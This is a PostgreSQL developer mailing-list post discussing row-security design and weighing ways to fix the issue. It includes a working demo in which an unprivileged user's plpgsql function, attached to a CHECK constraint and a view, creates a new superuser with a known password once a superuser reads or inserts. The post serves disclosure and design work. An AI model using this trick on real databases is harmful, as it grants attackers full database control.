Exempting superuser from row-security isn't enough. Run predicates as DEFINER? - Mailing list pgsql-hackers

Hi all

I'm thinking about a possible solution for one of the row-security
issues - the ability of a malicious user to write a row-security policy
containing a malicious predicate function, then trick another user into
<tt>SELECT</tt>ing from the table and running the function.

What about running the row-security predicate subquery as the predicate
definer - the user who SET the predicate - or the owner of the object
the predicate applies to? How expensive are security context and user id
changes - and is it even practical to do this within the context of a
security barrier subquery?

Oracle and Teradata get around this by making the assignment of row
security constraints a highly privileged operation - table owners can't
set their own. That's the other option IMO.

We already have this as a known issue with <tt>VIEW</tt>s,
<tt>CHECK</tt> constraints, etc, as shown below - so I'm tempted to
hand-wave around it as a separate issue, and just say that you shouldn't
access objects created by untrusted users.

The problem is that CHECK constraints, VIEW access, etc doesn't affect
pg_dump, it won't run view predicates or check constraint code. By
contrast, pg_dump *does* read tables, so it needs to be exempted from
row-security predicates defined by untrusted users. An exemption option
is needed for performance anyway.

Protecting pg_dump and the superuser alone aren't good enough, though.
SuperSecretUser shouldn't have to fear SELECTing from a view written by
user NewThisWeek.

On a side note, pg_restore and psql running dump scripts *do* affect
restores, which is kind of nasty.

Here's a demo showing how to create a new superuser with a known
password as a regular unprivileged user if you can trick the superuser
into looking at one of your objects:


CREATE USER user1;

SET SESSION AUTHORIZATION user1;

CREATE OR REPLACE FUNCTION haha() RETURNS boolean AS $$
BEGIN   RAISE NOTICE 'haha running as: %',current_user;   CREATE USER haha PASSWORD 'haha' SUPERUSER;   RETURN true;
END;
$$ LANGUAGE plpgsql;

CREATE TABLE check_exploit ( a integer check (haha()) );

CREATE VIEW view_exploit AS SELECT * FROM check_exploit WHERE haha();

GRANT ALL ON check_exploit TO postgres;
GRANT ALL ON view_exploit TO postgres;

-- later, superuser comes along and looks at the table/view:
SET SESSION AUTHORIZATION postgres;


regress=# select * from view_exploit;
NOTICE:  haha running as: postgresa
---1
(1 row)

regress=# \du haha          List of rolesRole name | Attributes | Member of
-----------+------------+-----------haha      | Superuser  | {}

regress=# DROP USER haha;



or for an admin reason adds/ modifies a row in the table:

regress=# INSERT INTO check_exploit VALUES (100);
NOTICE:  haha running as: postgres
INSERT 0 1


This even works with SECURITY BARRIER views, since they do nothing to
control the user ID the view predicate runs as.

If the superuser dumps this database then restores the schema and data
as two separate passes, "haha" will run via the check constraint in that
case too. Ouch.


So, we've got a few options:

* Run the RS constraint subqueries as DEFINER or table owner (if
possible and performant)

* Restrict the ability to set RS predicates to superuser by default, and
create a right to allow it to be delegated.

* Call it a separate problem and deal with it later, since similar
issues already apply to VIEW, CHECK, etc. Document that running pg_dump
as a user without RS exemption rights can run untrusted code written by
other users.

-- Craig Ringer                   http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services